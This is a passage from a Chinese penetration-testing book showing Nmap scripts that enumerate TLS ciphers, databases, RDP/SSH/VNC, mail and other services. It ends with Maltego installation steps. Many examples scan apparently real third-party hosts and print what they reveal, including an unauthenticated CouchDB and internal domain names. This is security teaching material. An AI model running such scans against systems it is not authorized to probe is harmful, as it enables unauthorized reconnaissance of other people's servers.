TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A | compressors: | NULL | cipher preference: server | warnings: | Broken cipher RC4 is deprecated by RFC 7465 | TLSv1.1: | ciphers: | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C | TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A | compressors: | NULL | cipher preference: server | warnings: | Broken cipher RC4 is deprecated by RFC 7465 | TLSv1.2: | ciphers: | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A | TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A | compressors: | NULL | cipher preference: server | warnings: | Broken cipher RC4 is deprecated by RFC 7465 |_ least strength: C Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds 从以上输出信息中可以看到目标主机支持的加密方式。"},
    {"text": "5．使用sslv2脚本 sslv2脚本用来判断目标服务器其是否支持SSLv2，并且发现支持的加密方式。 语法格式如下： nmap --script=sslv2 -p 443 <target> 【实例7-20】使用sslv2脚本扫描目标服务器是否支持SSLv2协议，以及其支持的加密方式。 执行命令如下： root@daxueba:~# nmap --script=sslv2 -p 443 84.200.8.181 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:25 CST Nmap scan report for srv01.dc-host.de (84.200.8.181) Host is up (0.32s latency). PORT STATE SERVICE 443/tcp open https | sslv2: | SSLv2 supported | ciphers: #加密方式 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 |_ SSL2_DES_64_CBC_WITH_MD5 Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 从输出信息中可以看到目标主机支持SSLv2协议，并且可以看到其支持的所有加密方式。"},
    {"text": "语法格式如下： nmap --script=tls-alpn <targets> 【实例7-21】使用tls-alpn脚本对目标主机上的SSL服务实施扫描。 执行命令如下： root@daxueba:~# nmap --script=tls-alpn -p 443 www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:27 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.024s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 PORT STATE SERVICE 443/tcp open https | tls-alpn: |_ http/1.1 Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds 从输出信息中可以看到，SSL服务支持的应用层协议为http/1.1。"},
    {"text": "语法格式如下： nmap --script=tls-nextprotoneg -p 443 [host] 【实例7-22】使用tls-nextprotoneg脚本扫描SSL服务。 执行命令如下： root@daxueba:~# nmap --script=tls-nextprotoneg -p 443 www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:28 CST Nmap scan report for www.baidu.com (61.135.169.121) Host is up (0.028s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.125 PORT STATE SERVICE 443/tcp open https | tls-nextprotoneg: |_ http/1.1 Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds 从输出信息中可以看到，SSL服务支持的协议为http/1.1。"},
    {"text": "未知 7.4 数据库服务 数据库服务器由运行在局域网中的一台或多台计算机和数据库管理系统软件共同构成，为客户应用程序提供了数据服务。最常见的数据库服务有DB2、SQL Server和MySQL等。本节将介绍对数据库服务实施扫描的方法。 未知 7.4.1 DB2数据库 IBM DB2是美国IBM公司开发的一套关系型数据库管理系统，它主要的运行环境为UNIX、Linux、IBMi、z/OS及Windows服务器版本。DB2数据库是基于TCP协议工作的，其工作在TCP的523端口。我们可以借助Nmap的broadcast-db2-discover和db2-das-info脚本来实施扫描。下面介绍具体的扫描方法。 1．使用broadcast-db2-discover脚本 broadcast-db2-discover脚本通过发送一个广播请求到UDP端口523，来发现网络中的DB2服务器。语法格式如下： nmap --script=broadcast-db2-discover 2．使用db2-das-info脚本 db2-das-info脚本通过连接到IBM DB2管理服务器，来获取服务器的配置。语法格式如下： nmap --script=db2-das-info <target> 【实例7-23】使用db2-das-info脚本扫描DB2数据库服务。执行命令如下： root@daxueba:~# nmap --script=db2-das-info -p 523 169.50.41.43 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 14:16 CST Nmap scan report for 2b.29.32a9.ip4.static.sl-reverse.com (169.50.41.43) Host is up (0.34s latency). PORT STATE SERVICE 523/tcp open ibm-db2 |_db2-das-info: false Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds 从输出信息中可以看到，目标主机上开放了DB2数据库，但是没有获取到其配置信息。 未知 7.4.2 SQL Server数据库 SQL Server是美国Microsoft公司推出的一种关系型数据库系统。该数据库服务是基于TCP协议工作的，其工作在TCP协议的1433端口。我们可以借助Nmap的一些脚本对SQL Server数据库服务实施扫描。下面介绍具体的实现方法。 1．使用ms-sql-info脚本 ms-sql-info脚本用来获取Microsoft SQL服务实例的配置和版本信息。语法格式如下： nmap -p 1433 --script=ms-sql-info <host> 【实例7-24】使用ms-sql-info脚本对SQL Server数据库实施扫描。执行命令如下： root@daxueba:~# nmap --script=ms-sql-info -p 1433 95.179.146.208 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:01 CST Nmap scan report for 95.179.146.208.vultr.com (95.179.146.208) Host is up (0.35s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s Host script results: | ms-sql-info: | 95.179.146.208:1433: | Version: #版本 | name: Microsoft SQL Server 2000 SP1+ #名称 | number: 8.00.528.00 #编号 | Product: Microsoft SQL Server 2000 #产品 | Service pack level: SP1 #服务补丁级别 | Post-SP patches applied: true |_ TCP port: 1433 #TCP端口 Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds 从输出信息中可以看到获取到目标SQL Server数据库服务的相关信息。例如，数据库名称为Microsoft SQL Server 2000 SP1+、产品为Microsoft SQL Server 2000、服务补丁基本为SP1等。 2．使用ms-sql-ntlm-info脚本 ms-sql-ntlm-info脚本用来枚举启用NTLM认证的SQL Server服务信息。语法格式如下： nmap -p 1433 --script ms-sql-ntlm-info <target> 【实例7-25】使用ms-sql-ntlm-info脚本对目标主机的SQL Server数据库服务实施扫描。执行命令如下： root@daxueba:~# nmap -p 1433 --script ms-sql-ntlm-info 213.189.70.102 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 15:02 CST Nmap scan report for 213.189.70.102 Host is up (0.39s latency). PORT STATE SERVICE 1433/tcp open ms-sql-s | ms-sql-ntlm-info: |_ Product_Version: 5.2.3790 #产品版本 Nmap done: 1 IP address (1 host up) scanned in 5.74 seconds 从输出信息中可以看到，通过使用ms-sql-ntlm-info脚本获取到了目标服务器的版本信息，其版本号为“5.2.3790”。 未知 7.4.3 Cassandra数据库 Cassandra是一套开源分布式NoSQL数据库系统，它最初由Facebook开发，用于存储收件箱等简单格式数据。此后，由于Cassandra良好的可扩展性，被Digg、Twitter等知名Web 2.0网站所采纳，成为了一种流行的分布式结构数据存储方案。Cassandra数据库是基于TCP协议工作的，其工作在TCP的9160端口。我们可以借助Nmap的cassandra-info脚本实施扫描。cassandra-info脚本通过从Cassandra数据库中来获取服务器的基本信息和状态。语法格式如下： nmap -p 9160 <ip> --script=cassandra-info 【实例7-26】扫描Cassandra数据库。执行命令如下： root@daxueba:~# nmap -p 9160 --script=cassandra-info 35.236.53.106 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:13 CST Nmap scan report for 106.53.236.35.bc.googleusercontent.com (35.236.53.106) Host is up (0.18s latency). PORT STATE SERVICE 9160/tcp open cassandra | cassandra-info: | Cluster name: 0 #Cluster名称 |_ Version: 19.4.0 #版本 Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds 从输出信息中可以看到，目标主机开启了Cassandra数据库服务，并且通过cassandra-info脚本获取到了其客户端名称和版本信息。"},
    {"text": "未知 7.4.4 CouchDB数据库 CouchDB是一个开源的面向文档的数据库管理系统。CouchDB数据库服务是基于TCP协议工作的，其工作在TCP协议的5984端口。我们可以借助Nmap的couchdb-databases和couchdb-stats脚本来对其实施扫描。下面将介绍具体的扫描方法。 1．使用couchdb-databases脚本 couchdb-databases脚本用来获取CouchDB数据库中的数据表。语法格式如下： nmap -p 5984 --script=couchdb-databases.nse <host> 【实例7-27】使用couchdb-databases脚本扫描CouchDB数据库。执行命令如下： root@daxueba:~# nmap -p 5984 --script=couchdb-databases 13.80.244.231 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:16 CST Nmap scan report for 13.80.244.231 Host is up (0.31s latency). PORT STATE SERVICE 5984/tcp open httpd | couchdb-databases: | 1 = _global_changes | 2 = _replicator | 3 = _users | 4 = composerchannel_ | 5 = composerchannel_lscc |_ 6 = composerchannel_shoganai-telemetry-network Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds 从以上输出信息中可以看到，目标主机中开启了CouchDB数据库服务，而且还看到了该数据库中的数据表。 2．使用couchdb-stats脚本 couchdb-stats脚本用来获取CouchDB数据库的统计信息。语法格式如下： nmap -p 5984 --script=couchdb-stats.nse <host> 【实例7-28】使用couchdb-stats脚本对目标主机的CouchDB数据库实施扫描。执行命令如下： root@daxueba:~# nmap -p 5984 --script=couchdb-stats 201.79.73.156 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:21 CST Nmap scan report for 201-79-73-156.user.veloxzone.com.br (201.79.73.156) Host is up (0.40s latency). PORT STATE SERVICE 5984/tcp open httpd | couchdb-stats: | httpd_status_codes | 412 (number of HTTP 412 Precondition Failed responses) | current | sum | 404 (number of HTTP 404 Not Found responses) | current = 281.0 | sum = 281.0 | 202 (number of HTTP 202 Accepted responses) | current | sum | 304 (number of HTTP 304 Not Modified responses) | current | sum | 500 (number of HTTP 500 Internal Server Error responses) | current | sum ……省略部分内容 | httpd | bulk_requests (number of bulk requests) | current | sum | view_reads (number of view reads) | current | sum | clients_requesting_changes (number of clients for continuous _changes) | current | sum | requests (number of HTTP requests) | current = 2209.0 | sum = 2209.0 | temporary_view_reads (number of temporary view reads) | current | sum |_ Authentication : NOT enabled ('admin party') Nmap done: 1 IP address (1 host up) scanned in 4.40 seconds 从以上输出信息中可以看到目标主机中CouchDB数据库的统计信息。由于输出的信息较多，中间部分结果省略了。 未知 7.4.5 MySQL数据库 MySQL是一种开放源代码的关系型数据库管理系统，该数据库工作在TCP的3306端口。我们可以借助Nmap的mysql-info脚本来实施MySQL数据库服务扫描。 mysql-info脚本用来获取MySQL数据库服务的信息，如协议、版本号、线程ID、状态、密码撒盐值等。语法格式如下： nmap --script=mysql-info -p 3306 <target> 【实例7-29】对目标主机上的MySQL数据库服务实施扫描。执行命令如下： root@daxueba:~# nmap --script=mysql-info -p 3306 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:22 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.0011s latency). PORT STATE SERVICE 3306/tcp open mysql | mysql-info: | Protocol: 10 #协议 | Version: 5.0.51a-3ubuntu5 #版本 | Thread ID: 7 #线程ID | Capabilities flags: 43564 #兼容性标志位 | Some Capabilities:Support41Auth,SupportsTransactions,SupportsCompression, ConnectWithDatabase, LongColumnFlag, SwitchToSSLAfterHandshake, Speaks41 ProtocolNew #兼容的性能 | Status: Autocommit #状态 |_ Salt: (dC_4(gRFGoz7A\"#*GgP #撒盐 MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds 从以上输出信息中可以看到，目标主机中开放了MySQL数据库服务，并且获取到了对应的信息。例如，该服务的协议号为10、版本号为5.0.51a-3ubuntu5、线程ID为7等。 未知 7.4.6 Oracle数据库 Oracle数据库是甲骨文公司的一款关系型数据库管理系统。该数据库工作于TCP的1521端口。用户可以借助Nmap的oracle-tns-version脚本探测Oracle TNS监听器的版本。语法格式如下： nmap -p 1521 -sV --script=oracle-tns-version <target> 【实例7-30】实施Oracle数据库扫描。执行命令如下： root@daxueba:~# nmap 192.168.29.139 -p 1521 -sV --script=oracle-tns-version Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 13:36 CST Nmap scan report for 192.168.29.139 (192.168.29.139) Host is up (0.0054s latency). PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.1.0 (unauthorized) MAC Address: 00:0C:29:A6:9D:F8 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.11 seconds 从输出的信息可以看到，目标主机号开放了Oracle数据库服务，并且显示了Oracle TNS监听器的版本。其中，该数据库服务的TNS监听器版本为11.2.0.1.0。"},
    {"text": "未知 7.5 远程登录服务 远程登录服务可以将用户计算机与远程主机连接起来，在远程计算机上运行程序，将相应的屏幕显示传送到本地主机，并将本地的输入发送给远程计算机。最常见的远程登录服务有RDP、SSH和VNC等。本节将介绍对远程登录服务实施扫描的方法。 未知 7.5.1 RDP服务 RDP（Remote Desktop Protocol，远程桌面协议）是一个多通道的协议，可以让用户连上提供微软终端机服务的计算机。RDP服务是基于TCP协议工作的，其工作在TCP协议的3389端口。我们可以借助Nmap的rdp-enum-encryption脚本来实施扫描。rdp-enum-encryption脚本用来判断RDP服务支持的安全级别和加密级别。语法格式如下： nmap -p 3389 --script=rdp-enum-encryption <ip> 【实例7-30】扫描目标主机上的RDP服务。执行命令如下： root@daxueba:~# nmap -p 3389 --script rdp-enum-encryption 118.25.151.112 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:52 CST Nmap scan report for 118.25.151.112 Host is up (0.040s latency). PORT STATE SERVICE 3389/tcp open ms-wbt-server | rdp-enum-encryption: | Security layer #安全级别 | CredSSP: SUCCESS | Native RDP: SUCCESS | SSL: SUCCESS | RDP Encryption level: Unknown #RDP加密级别 |_ 128-bit RC4: SUCCESS Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds 从输出的信息中可以看到，目标主机开放了RDP服务，并且显示出了支持的安全级别和加密级别信息。 未知 7.5.2 SSH服务 SSH（Secure Shell）由IETF的网络小组（Network Working Group）所制定。SSH是建立在应用层基础上的安全协议，是基于TCP协议工作的，其工作在TCP的22号端口。我们可以借助Nmap的脚本来实施扫描。 1．使用ssh2-enum-algos脚本 ssh2-enum-algos脚本用来获取SSH服务支持的加密算法。语法格式如下： nmap --script=ssh2-enum-algos < target > 【实例7-31】使用ssh2-enum-algos脚本扫描SSH服务。执行命令如下： root@daxueba:~# nmap -p 22 --script ssh2-enum-algos 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 15:55 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00028s latency). PORT STATE SERVICE 22/tcp open ssh | ssh2-enum-algos: | kex_algorithms: (4) | diffie-hellman-group-exchange-sha256 | diffie-hellman-group-exchange-sha1 | diffie-hellman-group14-sha1 | diffie-hellman-group1-sha1 | server_host_key_algorithms: (2) | ssh-rsa | ssh-dss | encryption_algorithms: (13) | aes128-cbc | 3des-cbc | blowfish-cbc | cast128-cbc | arcfour128 | arcfour256 | arcfour | aes192-cbc | aes256-cbc | rijndael-cbc@lysator.liu.se | aes128-ctr | aes192-ctr | aes256-ctr | mac_algorithms: (7) | hmac-md5 | hmac-sha1 | umac-64@openssh.com | hmac-ripemd160 | hmac-ripemd160@openssh.com | hmac-sha1-96 | hmac-md5-96 | compression_algorithms: (2) | none |_ zlib@openssh.com MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds 从以上输出信息中可以看到目标主机上支持的所有加密算法。 2．使用sshv1脚本 sshv1脚本用来检测SSH服务是否支持SSH协议版本1（SSHv1）。语法格式如下： nmap --script=sshv1 -p 22 <target> 【实例7-32】使用sshv1脚本实施扫描。执行命令如下： root@daxueba:~# nmap --script=sshv1 -p 22 144.202.128.3 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 17:06 CST Nmap scan report for console.transsys.com (144.202.128.3) Host is up (0.32s latency). PORT STATE SERVICE 22/tcp open ssh |_sshv1: Server supports SSHv1 Nmap done: 1 IP address (1 host up) scanned in 2.73 seconds 从输出信息中可以看到，目标服务器支持SSHv1版本。 未知 7.5.3 VMware服务 VMware用来对外提供虚拟化服务。该服务是基于TCP协议工作的，其工作在TCP的443端口。我们可以使用Nmap的vmware-version脚本对VMware服务实施扫描，vmware-version脚本用来获取VMware服务的版本信息。语法格式如下： nmap --script=vmware-version -p 443 [host] 使用vmware-version脚本扫描VMware服务。执行命令如下： root@daxueba:~# nmap --script=vmware-version -p 443 134.119.193.210 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 16:45 CST Nmap scan report for 134.119.193.210 Host is up (0.20s latency). PORT STATE SERVICE 443/tcp open https | vmware-version: | Server version: VMware ESXi 6.5.0 #服务版本 | Build: 4887370 #内置编号 | Locale version: INTL 000 #本地版本 | OS type: vmnix-x86 #操作系统类型 |_ Product Line ID: embeddedEsx #产品行ID Service Info: CPE: cpe:/o:vmware:ESXi:6.5.0 Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds 从输出信息中可以看到，目标主机中开放了VMware服务，并且获取到了该服务对应的信息。"},
    {"text": "未知 7.5.4 VNC服务 VNC服务是基于TCP协议工作的，其工作在TCP的5900端口。我们可以借助Nmap的vnc-info和vnc-title脚本实施VNC服务扫描。下面介绍实施VNC服务扫描的方法。 vnc-info脚本用来获取VNC服务的协议版本及支持的安全类型。语法格式如下： nmap -p 5900 --script=vnc-info <target> 【实例7-33】使用vnc-info脚本获取VNC服务的版本及支持的安全类型。执行命令如下： root@daxueba:~# nmap -p 5900 --script=vnc-info 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:33 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00036s latency). PORT STATE SERVICE 5900/tcp open vnc | vnc-info: | Protocol version: 3.3 #协议版本 | Security types: #安全类型 |_ VNC Authentication (2) MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds 从输出信息中可以看到，目标主机开启了VNC服务，并且获取到了VNC服务的基本信息。例如，该服务的协议版本为3.3，安全类型为VNC Authentication。 未知 7.6 邮件服务 邮件服务器是一种用来负责电子邮件收发管理的软件。它比网络上的免费邮箱更安全和高效，因此一直是企业公司的必备设备。其中，最常见的邮件服务有SMTP、IMAP和POP3。本节将介绍对这些邮件服务实施扫描的方法。 未知 7.6.1 邮件IMAP服务 IMAP服务是基于TCP协议工作的，其工作在TCP协议的143和993端口。我们可以借助Nmap的imap-capabilities和imap-ntlm-info脚本实施扫描。下面介绍具体的扫描方法。 1．使用imap-capabilities脚本 imap-capabilities脚本用来获取IMAP邮件服务支持的功能。语法格式如下： nmap -p 143 --script=imap-capabilities <target> 【实例7-34】使用imap-capabilities脚本实施IMAP邮件服务。执行命令如下： root@daxueba:~# nmap -p 143 --script=imap-capabilities 95.128.5.127 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:47 CST Nmap scan report for xv200.64bitswebhosting.eu (95.128.5.127) Host is up (0.34s latency). PORT STATE SERVICE 143/tcp open imap |_imap-capabilities: more OK ID LOGIN-REFERRALS listed SASL-IR capabilities post-login AUTH=PLAINA0001 have STARTTLS LITERAL+ Pre-login ENABLE IDLE IMAP4rev1 Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds 从输出的信息中可以看到目标主机上开放了IMAP服务，并且显示了该服务支持的功能。 2．使用imap-ntlm-info脚本 imap-ntlm-info脚本用来枚举启用NTLM认证的IMAP服务。语法格式如下： nmap -p 143,993 --script imap-ntlm-info <target> 【实例7-35】使用imap-ntlm-info脚本枚举启用NTLM认证的IMAP服务信息。执行命令如下： root@daxueba:~# nmap -p 143,993 --script=imap-ntlm-info 95.38.219.130 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:49 CST Nmap scan report for 95.38.219.130 Host is up (0.29s latency). PORT STATE SERVICE 143/tcp open imap | imap-ntlm-info: | Target_Name: AR #目标名称 | NetBIOS_Domain_Name: AR #NetBIOS域名 | NetBIOS_Computer_Name: KC-MAIL #NetBIOS计算机名 | DNS_Domain_Name: ar.loc #DNS名称 | DNS_Computer_Name: kc-mail.ar.loc #DNS计算机名 | DNS_Tree_Name: ar.loc #DNS树名 |_ Product_Version: 10.0.14393 #产品版本 993/tcp open imaps | imap-ntlm-info: | Target_Name: AR | NetBIOS_Domain_Name: AR | NetBIOS_Computer_Name: KC-MAIL | DNS_Domain_Name: ar.loc | DNS_Computer_Name: kc-mail.ar.loc | DNS_Tree_Name: ar.loc |_ Product_Version: 10.0.14393 Nmap done: 1 IP address (1 host up) scanned in 4.26 seconds 从输出信息中可以看到目标主机上IMAP服务的基本信息。 未知 7.6.2 邮件POP3服务 POP3服务是基于TCP协议工作的，其工作在TCP的110和995端口。我们可以使用Nmap的pop3-capabilities脚本实施扫描，该脚本用来枚举启用NTLM认证的POP3服务器。语法格式如下： nmap -p 110,995 --script pop3-ntlm-info <target> 【实例7-36】扫描POP3服务器。执行命令如下： root@daxueba:~# nmap -p 110,995 --script=pop3-ntlm-info 180.76.188.46 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:57 CST Nmap scan report for 180.76.188.46 Host is up (0.029s latency). PORT STATE SERVICE 110/tcp open pop3 | pop3-ntlm-info: | Target_Name: INSTANCE-DRYC8C | NetBIOS_Domain_Name: INSTANCE-DRYC8C | NetBIOS_Computer_Name: INSTANCE-DRYC8C | DNS_Domain_Name: instance-dryc8c | DNS_Computer_Name: instance-dryc8c |_ Product_Version: 6.1.7601 995/tcp open pop3s | pop3-ntlm-info: | Target_Name: INSTANCE-DRYC8C | NetBIOS_Domain_Name: INSTANCE-DRYC8C | NetBIOS_Computer_Name: INSTANCE-DRYC8C | DNS_Domain_Name: instance-dryc8c | DNS_Computer_Name: instance-dryc8c |_ Product_Version: 6.1.7601 Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds 从输出信息中可以看到，目标主机上启用了POP3服务，并且显示了该服务的相关信息。"},
    {"text": "未知 7.6.3 邮件SMTP服务 SMTP服务是基于TCP协议工作的，其工作在TCP的25号端口。我们可以使用smtp-ntlm-info脚本实施SMTP服务扫描。smtp-ntlm-info脚本用来枚举启用NTLM认证的SMTP服务信息。语法格式如下： nmap -p 25 --script=smtp-ntlm-info <target> 【实例7-37】实施SMTP服务扫描。执行命令如下： root@daxueba:~# nmap -p 25 --script=smtp-ntlm-info 90.85.125.180 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 17:02 CST Nmap scan report for mailhost.wselille.fr (90.85.125.180) Host is up (0.38s latency). PORT STATE SERVICE 25/tcp open smtp | smtp-ntlm-info: | Target_Name: WSELILLE | NetBIOS_Domain_Name: WSELILLE | NetBIOS_Computer_Name: SRVEXCHLILLE | DNS_Domain_Name: WSELILLE.LOCAL | DNS_Computer_Name: SRVEXCHLILLE.WSELILLE.LOCAL | DNS_Tree_Name: WSELILLE.LOCAL |_ Product_Version: 6.3.9600 Nmap done: 1 IP address (1 host up) scanned in 5.08 seconds 从输出的信息中可以看到，目标主机上启用了SMTP服务，并且显示了SMTP服务的相关信息。 未知 7.7 其他服务 除了前面介绍的服务外，还有一些常见服务，如DICT服务、IRC服务和硬盘监测服务等。本节将介绍对这些服务实施扫描的方法。 未知 7.7.1 字典DICT服务 字典DICT服务是基于TCP协议工作的，其工作在TCP的2628端口。我们可以借助Nmap的dict-info脚本实施扫描，该脚本通过使用DICT协议来连接字典服务，并获取其结果。语法格式如下： nmap --script=dict-info -p 2628 <target> 【实例7-38】对目标主机上的DICT服务实施扫描。执行命令如下： root@daxueba:~# nmap --script=dict-info -p 2628 93.180.26.255 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-10 12:28 CST Nmap scan report for lnfm1.sai.msu.ru (93.180.26.255) Host is up (0.39s latency). PORT STATE SERVICE 2628/tcp open dict | dict-info: | dictd 1.5.5/rf on Linux 2.4.20-28.8 | On lnfm1.sai.msu.ru: up 34+12:20:47, 15 forks (0,0/hour) | | Database Headwords Index Data Uncompressed | korolew_ruen 32451 543 kB 1642 kB 3812 kB |_ Mueller24 67070 1166 kB 2986 kB 7378 kB Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds 从输出信息中可以看到目标主机上启动的DICT服务，并且显示了该服务的基本信息。 未知 7.7.2 IRC服务 IRC服务是基于TCP协议工作的，其工作在TCP的6667端口。我们可以借助irc-info脚本来实施扫描。irc-info脚本用来获取IRC服务信息。语法格式如下： nmap -p 6667 --script=irc-info <target> 【实例7-39】对目标主机的IRC服务实施扫描。执行命令如下： root@daxueba:~# nmap -p 6667 --script=irc-info 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 17:34 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00020s latency). PORT STATE SERVICE 6667/tcp open irc | irc-info: | users: 1 #用户数 | servers: 1 #服务数 | lusers: 1 | lservers: 0 | server: irc.Metasploitable.LAN #服务信息 | version: Unreal3.2.8.1. irc.Metasploitable.LAN #版本 | uptime: 0 days, 7:24:30 #更新时间 | source ident: nmap #源识别 | source host: EA06A71D.78DED367.FFFA6D49.IP #源主机 |_ error: Closing Link: dzxkcqhkf[192.168.1.10] (Quit: dzxkcqhkf) MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds 从输出信息中可以看到，目标主机上开启了IRC服务，并显示了该服务的相关信息。 未知 7.7.3 硬盘监测服务 硬盘监测服务是基于TCP协议工作的，其工作在TCP的7634端口。我们可以借助Nmap的hddtemp-info脚本来实施扫描。hddtemp-info脚本通过监听硬盘检测服务来读取硬盘信息，如品牌、型号及温度等。语法格式如下： nmap -p 7634 --script=hddtemp-info <target> 【实例7-40】使用hddtemp-info脚本实施硬盘监测服务。执行命令如下： root@daxueba:~# nmap -p 7634 --script=hddtemp-info 91.219.209.93 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 17:36 CST Nmap scan report for serv2.ekonto.net (91.219.209.93) Host is up (0.31s latency). PORT STATE SERVICE 7634/tcp open hddtemp | hddtemp-info: | /dev/sda: KINGSTON SV300S37A120G: 26 C |_ /dev/sdb: WDC WD10EZEX-08WN4A0: 32 C Nmap done: 1 IP address (1 host up) scanned in 13.29 seconds 从输出信息中可以看到，目标主机上开启了硬盘监测服务，并显示了该服务的相关信息，如硬盘类型、型号和温度。 未知 第8章 信息整理及分析 通过前面几章中介绍的扫描方法，我们可以收集到大量的信息。为了后续渗透测试操作，需要将这些信息进行整理和分析，这时可以使用Maltego工具。同时，Maltego还提供信息挖掘功能，可以帮助我们获取更多有价值的信息。本章将讲解如何使用Maltego工具对信息进行整理和分析。 未知 8.1 准备环境 如果要使用Maltego工具对信息进行整理及分析，需要先安装该工具。在Kali Linux系统中，默认已经安装了。如果读者使用的是非Kali Linux系统的话，则需要手动安装。本节将介绍使用Maltego工具的一些准备工作。"},
    {"text": "未知 8.1.1 获取Maltego Maltego工具的下载地址为 https://www.paterva.com/web7/downloads.php 。在浏览器中输入该地址后，显示界面如图8.1所示。 从图8.1中可以看到，Maltego工具支持的操作系统平台有Windows、Linux和Mac。而且其中还显示了所有的安装包文件名，以及MD5和SHA256的哈希值。如果想要验证下载的安装包文件是否完整，可以使用MD5或SHA256哈希检验工具对安装包进行校验，然后与该网站提供的值进行比对。如果校验后的值与该页面中的值相同，则表示安装包下载完整。否则表示下载失败。 读者可以根据自己的操作系统类型及架构选择对应的安装包。例如，这里选择下载Windows版本的安装包。其中，Windows版本的安装包有两个，一个包括Java程序，一个没有包括Java程序。如果读者的系统中已经安装了Java程序的话，直接选择.exe包下载即可。如果没有安装，则需要选择类型为.exe+Java(x64)的安装包，然后单击Download按钮，将开始下载安装包。这里选择下载.exe安装包。下载完成后，安装包名为MaltegoSetup.v4.2.1.12168.exe。 图8.1 Maltego的下载页面 未知 8.1.2 安装Maltego 当成功获取到Maltego的安装包后，即可着手安装该工具了。下面介绍具体的安装方法。 （1）双击下载的Maltego安装包MaltegoSetup.v4.2.1.12168.exe，将弹出如图8.2所示对话框。 图8.2 欢迎界面 （2）该对话框是Maltego的欢迎界面。单击Next按钮，进入如图8.3所示对话框。 图8.3 选择用户 （3）在该对话框中选择将Maltego供哪些用户使用。此时，选择Install for anyone using this computer单选按钮，并单击Next按钮，进入如图8.4所示对话框。 图8.4 选择安装位置 （4）在该对话框中选择Maltego的安装位置。这里使用默认安装位置，单击Next按钮，进入如图8.5所示对话框。 图8.5 选择启动菜单文件夹 （5）该对话框用来选择启动Maltego快捷方式的菜单文件夹。这里使用默认设置，单击Install按钮将开始安装该工具。当Maltego工具安装完成后，将显示如图8.6所示对话框。 图8.6 安装完成 （6）从其显示的信息中可以看到，Maltego工具已经安装完成。在其中有两个选项可以设置，分别是Customize Java settings(Advanced)（自定义Java设置）和Create Desktop 